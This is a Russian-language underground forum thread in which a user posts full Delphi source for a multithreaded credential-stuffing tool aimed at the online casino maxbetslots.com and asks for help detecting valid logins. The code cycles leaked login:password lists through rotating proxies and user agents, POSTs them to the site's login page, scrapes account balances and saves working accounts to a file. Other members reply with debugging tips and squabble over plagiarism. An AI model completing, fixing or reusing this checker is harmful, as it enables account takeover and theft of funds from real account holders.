В ожидании ответа помогите с кодом

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

rushsmart

Участник

rushsmart

Участник
27 Авг 2017
4
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
вопшем создал брут но не могу понять что я упустил что бы опредялялись гуды по HTML тексту
сам исходник
Код:
unit Unit1pas;
interface
uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ImgList, Vcl.Imaging.jpeg, Vcl.ExtCtrls, sButton, httpsend, TLHelp32, ssl_openssl, syncobjs, clipbrd,
  sDialogs, sLabel, sGauge, Vcl.ComCtrls, sListView, sEdit, sSpinEdit,
  sRadioButton, sPanel;
type
  TForm1 = class(TForm)
    sButton1: TsButton;
    sOpenDialog1: TsOpenDialog;
    sLabel1: TsLabel;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    sLabel2: TsLabel;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sLabel5: TsLabel;
    sLabel6: TsLabel;
    sLabel7: TsLabel;
    sLabel8: TsLabel;
    sLabel9: TsLabel;
    sLabel10: TsLabel;
    sGauge1: TsGauge;
    sListView1: TsListView;
    sSpinEdit1: TsSpinEdit;
    sSpinEdit2: TsSpinEdit;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
  Potok = class(TThread)  //Переменные которые находятся в потоке
  private
  IP:string;
  Port:string;
  login:string;
  Pass:string;
  gift:string;
  rez:integer;
  protected
    procedure Execute; override;
    public
    procedure sync;
    constructor Create(CreateSuspended: Boolean);
  end;
var
  Form1: TForm1;
   accounts,proxy:tstringlist;
   cs:TCriticalSection;
   Thread, Acc:integer;
   http:thttpsend;
   Work:boolean;
   GoodFile, BadFile,f:textfile;
   money: string;
   tp,np:integer;
   a,b:DWORD;
SerialNum,dtyp:Dword;
Buffer,disk: array [0..255] of char;
text1   : string;
  razd:string;
    UserAgents: array [0..10] of string=(
    'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
    'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
    'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
    'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
    'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
    'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801');
implementation
{$R *.dfm}
 function Pars(T_, ForS, _T:string):string;   //Функция парсинга, нужна для чекера
var a, b:integer;
begin
Result := '';
if (T_='') or (ForS='') or (_T='') then Exit;
a:=Pos(T_, ForS);
if a=0 then Exit else a:=a+Length(T_);
ForS:=Copy(ForS, a, Length(ForS)-a+1);
b:=Pos(_T, ForS);
if b>0 then
Result:=Copy(ForS, 1, b - 1);
end;
constructor
Potok.Create(CreateSuspended: Boolean); //Создание потока
begin
inherited Create(CreateSuspended);
end;
function stopbrute: string; //Не обращайте внимания, это нужно для остановки брута
begin                        //К примеру когда нажем стоп, кнопки начнут работать
Form1.sButton1.Enabled:=true;
Form1.sButton2.Enabled:=true;
Form1.sButton3.Enabled:=true;
Form1.sspinEdit1.Enabled:=true;
Form1.sspinEdit2.Enabled:=true;
end;
procedure Potok.Execute; //Работа в потоке
var CurAcc:integer;
    HTTP: Thttpsend;
    scr,lt:tstringlist;
    data:tstringstream;
    token:string;
  i: Integer;
begin
 while Work do
  begin
  CS.Enter;
   Inc(Acc);
    if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
   inc(tp);
    if tp=Proxy.Count-1 then tp:=0;
   CS.Leave;
   if Work then
begin
     Login:=Copy(Accounts[CurAcc],1,Pos(razd,Accounts[CurAcc])-1);
     Pass:=Copy(Accounts[CurAcc],Pos(razd,Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
     HTTP:= Thttpsend.Create;
     if Proxy.Text = '' then sleep(0) else
  if Form1.sRadioButton1.Checked then    //Вид прокси   HTTP/S
  begin
     IP:=Copy(Proxy[TP], 1, Pos(':', Proxy[TP])-1);
     Port:=Copy(Proxy[TP],Pos(':',Proxy[TP])+1,Length(Proxy[TP]));
     http.ProxyHost:=Ip;
     http.ProxyPort:=port;
  end;
  if Form1.sRadioButton2.Checked then   //Вид прокси Socks4/5
  begin
     IP:=Copy(Proxy[TP], 1, Pos(':', Proxy[TP])-1);
     Port:=Copy(Proxy[TP],Pos(':',Proxy[TP])+1,Length(Proxy[TP]));
     http.Sock.SocksIP:=IP;
     HTTP.Sock.SocksPort:=Port;
 end;
  if pos(':', Accounts[CurAcc])<>0 then   //Вид разделителя : или ; - автоопределение
     begin
      login:=Copy(Accounts[CurAcc], 1, Pos(':',Accounts[CurAcc])-1); //Копируем логин
      pass:=Copy(Accounts[CurAcc], Pos(':', Accounts[CurAcc])+1, Length(Accounts[CurAcc])); //Копируем пароль
    end
     else
      begin
      login:=Copy(Accounts[CurAcc], 1, Pos(';',Accounts[CurAcc])-1);    //Вид разделителя : или ; - автоопределение
      pass:=Copy(Accounts[CurAcc], Pos(';', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
    end;
 {data:=tstringstream.create;
 data.WriteString('user='+login+'&password='+pass+'&version=13');
  http.Document.LoadFromStream(data); }
data:=tstringstream.create;
 data.WriteString('password='+pass+'&login='+login+'&action=login'); //Тут то что будет в post запросе
  http.Document.LoadFromStream(data);
  http.Timeout:=Form1.sSpinEdit2.Value*200;
       scr:=tstringlist.Create;
         http.MimeType:='application/x-www-form-urlencoded';
       if http.HTTPMethod('POST','[URL="http://www.maxbetslots.com/index.php"]Maxbetslots казино - играть на деньги после регистрации | Официальный сайт Максбетслотс[/URL]') then begin //Post запрос
       scr.LoadFromStream(http.Document);
     if pos('Location: /', http.headers.text)<>0 then  //На что будем определять гуд
begin http.Clear;
if http.HTTPMethod('GET', '[URL="http://www.maxbetslots.com/"]Maxbetslots казино - играть на деньги после регистрации | Официальный сайт Максбетслотс[/URL]') then begin  //Гет запрос - значит парс, парсим информацию для чекера
if http.ResultCode=200 then
begin
scr.LoadFromStream(http.Document);
scr.text:=ansitoutf8(scr.text);
money:=Pars('id="user_balance">', scr.Text , '</b>'); //Что надо спарсить. Где scr.text тут будет то что надо спарсить
Rez:=1; //Гуд нашли значит равно 1
end else
begin
  Rez:=0;
end;
end else
begin
  Rez:=0;
end;
     end else
     begin
     Rez:=2;
     end;
     end else
     begin
     Rez:=0;
     end;
     HTTP.Free;
     scr.Free;
     data.Free;
     Synchronize(Sync);
    end;
  Dec(Thread);
  if Thread=0 then stopbrute();
  end;
end;
procedure Potok.sync;   //Синхронизация потока
var
Item: TListItem;
begin
 case Rez of
    1:begin      //Это у нас то что будет происходить при гуде
      Append(GoodFile);  //Открытие файла с гудами
      Writeln(GoodFile,login+':'+pass+' | Баланс: '+money); //Записываем в файл
      Closefile(GoodFile); //Закрытие файла с гудами
      Form1.slabel8.Caption:=IntToStr(StrToInt(Form1.slabel8.Caption)+1);//Если гуд то на форме добавится в label +1
      Item :=Form1.sListView1.Items.Add; //что  будет записываться в listview
      Item.Caption :=login;  //Сам гудовый логин
      Item.SubItems.Add(pass);   //гудовый пароль
      Item.SubItems.Add(money);   //И то что вы хотите спарсить
      Form1.sGauge1.Progress:=Form1.sGauge1.Progress+1; //На прогрессбар +1
    end;
   2:begin //То что будет происходить при bad
      Form1.slabel9.Caption:=IntToStr(StrToInt(Form1.slabel9.Caption)+1); //если bad то на форме в label будет +1
      Form1.sGauge1.Progress:=Form1.sGauge1.Progress+1; //На прогрессбар +1
     end;
   0:begin    //То что будет происходить при error
      Accounts.Add(Login+';'+Pass);   //ошибка
      Form1.slabel10.Caption:=IntToStr(StrToInt(Form1.slabel10.Caption)+1); //Если error то на форме в label +1
     end;
 end;
end;
procedure TForm1.FormCreate(Sender: TObject);    //Открытие формы
begin
Accounts:=Tstringlist.create;
Proxy:=Tstringlist.create;
CS:=TcriticalSection.create; //Создание критической секции
end;
procedure TForm1.sButton1Click(Sender: TObject);
begin
sOpenDialog1.Filter:='Текстовые файлы|*.txt';  //Только текстовые файлы
sOpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if sOpenDialog1.Execute then
begin
   Accounts.Clear;
   Accounts.LoadFromFile(sOpenDialog1.FileName);
end;
  Form1.sLabel1.Caption:=inttostr(Accounts.Count);  //Кол-во строк в базе, будет показано в label
end;
procedure TForm1.sButton2Click(Sender: TObject);
begin
sOpenDialog1.Filter:='Текстовые файлы|*.txt'; //Только текстовые файлы
sOpenDialog1.FileName:='';
sOpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if sOpenDialog1.Execute then
begin
  Proxy.Clear;
  Proxy.LoadFromFile(sOpenDialog1.FileName);
end;
sLabel4.Caption:=inttostr(Proxy.Count); //Кол-во строк в файле, будет показано в label
end;
procedure TForm1.sButton3Click(Sender: TObject);
var  //Переменные для нее
Way, StrTime:string;
i:integer;
begin
StrTime:=TimeToStr(Time);
for i:=1 to Length(StrTime)  do
 if StrTime[i]=':' then  StrTime[i]:='_';
begin                                        //Создание папки для гудов, в нее
    Formatsettings.TimeSeparator:='.';
    TimeToStr(Time);
    Createdir(ExtractFilePath(Application.ExeName)+'MAXBETSLOTS'); //Где синим цветом это название созданной папки с гудами
    Assignfile(Goodfile, ExtractFilePath(Application.ExeName)+'\MAXBETSLOTS\'+'Good('+DateToStr(Date)+' - '+TimeToStr(Time)+').txt'); //Также название папки и название файла с гудами (Изменять только то что синим, кроме .txt)
    Rewrite(Goodfile);
    closefile(goodfile);
 sLabel8.Caption:='0'; //Сбросс label на 0, если только вы начали брутить уже другую базу
 sLabel9.Caption:='0';    //Сбросс label на 0, если только вы начали брутить уже другую базу
 slabel10.caption:='0';     //Сбросс label на 0, если только вы начали брутить уже другую базу
 sGauge1.MaxValue:=Accounts.Count;
 Form1.sGauge1.Progress:=0;      //Сбросс label на 0, если только вы начали брутить уже другую базу
 sListView1.Clear;
 Acc:=-1;
 Work:=true;
 for Thread:=1  to strtoint(sspinEdit1.Text) do
Potok.Create(false);
 Thread:=strtoint(sspinEdit1.Text);
end;
end;
procedure TForm1.sButton4Click(Sender: TObject);     //Кнопка стоп
begin
work:=false;    //Завершение работы
end;
end.[/i][/i]
 
Последнее редактирование модератором:

AnGel

Администратор
Команда форума

AnGel

Администратор
Команда форума
27 Авг 2015
3,411
2,025
rushsmart, в один поток пиши сначала логику, затем уже брут клепай. Не бывает так, что раз и без отладки все удачно с первого раза написал.
 
  • Лайк
Reactions: Decode

Decode

Заблокирован

Decode

Заблокирован
10 Ноя 2016
54
35
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
rushsmart, в один поток пиши сначала логику, затем уже брут клепай. Не бывает так, что раз и без отладки все удачно с первого раза написал.
И для начала бы сам делал брут, а не исход изменять.
 
  • Лайк
Reactions: Сашко

rushsmart

Участник

rushsmart

Участник
27 Авг 2017
4
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Decode, Ты сам то понял что написал?Открой любой исходник они все анологичные совсем не много изменены!Я писал брут по исходнику только изменил немного!
Ты свой исходник брута дай который написал и я найду тебе с этого сайта анологичный исходник твоему!
Остальным спасибо большое за ответ нашел на ютубе видос как сделать брут однопоточный буду вникать в него и делать!
 

Decode

Заблокирован

Decode

Заблокирован
10 Ноя 2016
54
35
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Decode, Ты сам то понял что написал?Открой любой исходник они все анологичные совсем не много изменены!Я писал брут по исходнику только изменил немного!
Ты свой исходник брута дай который написал и я найду тебе с этого сайта анологичный исходник твоему!
Остальным спасибо большое за ответ нашел на ютубе видос как сделать брут однопоточный буду вникать в него и делать!
Я понял что написал, мой движок на c#, и сколько исходников видел. Не один не похож..
 

K_NoW

VIP

K_NoW

VIP
3 Июн 2016
514
195
Я понял что написал, мой движок на c#, и сколько исходников видел. Не один не похож..
я канеш не эксперт но по моему движки (язык не поворачивается так назвать), все одинаковые, там приминитвная логика.
отличаются процентов на 10
 

Decode

Заблокирован

Decode

Заблокирован
10 Ноя 2016
54
35
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
я канеш не эксперт но по моему движки (язык не поворачивается так назвать), все одинаковые, там приминитвная логика.
отличаются процентов на 10
Я так понимаю ты смотрел про
Код:
work(work)
{
     if(accountcount > vsegoaccounts)
     work = false;
     if(work)
     {
           //kod
     }
}

То у мИня не так ).
 
21 Окт 2015
299
102
это исход из "Kurs [Cracked by PuL9]"
ты ход бы исправил
Код:
 {data:=tstringstream.create;
 data.WriteString('user='+login+'&password='+pass+'&version=13');
  http.Document.LoadFromStream(data); }
data:=tstringstream.create;
 data.WriteString('password='+pass+'&login='+login+'&action=login'); //Тут то что будет в post запросе
  http.Document.LoadFromStream(data);
а это что за полная жопа ?
Код:
       if http.HTTPMethod('POST','[URL="http://www.maxbetslots.com/index.php"]Maxbetslots казино - играть на деньги после регистрации | Официальный сайт Максбетслотс[/URL]') then begin //Post запрос
       scr.LoadFromStream(http.Document);
     if pos('Location: /', http.headers.text)<>0 then  //На что будем определять гуд
begin http.Clear;
if http.HTTPMethod('GET', '[URL="http://www.maxbetslots.com/"]Maxbetslots казино - играть на деньги после регистрации | Официальный сайт Максбетслотс[/URL]') then begin
 

AnGel

Администратор
Команда форума

AnGel

Администратор
Команда форума
27 Авг 2015
3,411
2,025
Decode, очень интересно. Меня обвиняют в плагиатстве чужого кода? Пиздуй в отладчик и доказывай, что велосипед не является велосипедом.
 
  • Лайк
Reactions: Decode

Decode

Заблокирован

Decode

Заблокирован
10 Ноя 2016
54
35
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Decode, очень интересно. Меня обвиняют в плагиатстве чужого кода? Пиздуй в отладчик и доказывай, что велосипед не является велосипедом.
Та я твой процетировал, и добавил к твоему у что бы он сам делал ))))
--- Пост обновлен ---
Ахахаха
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя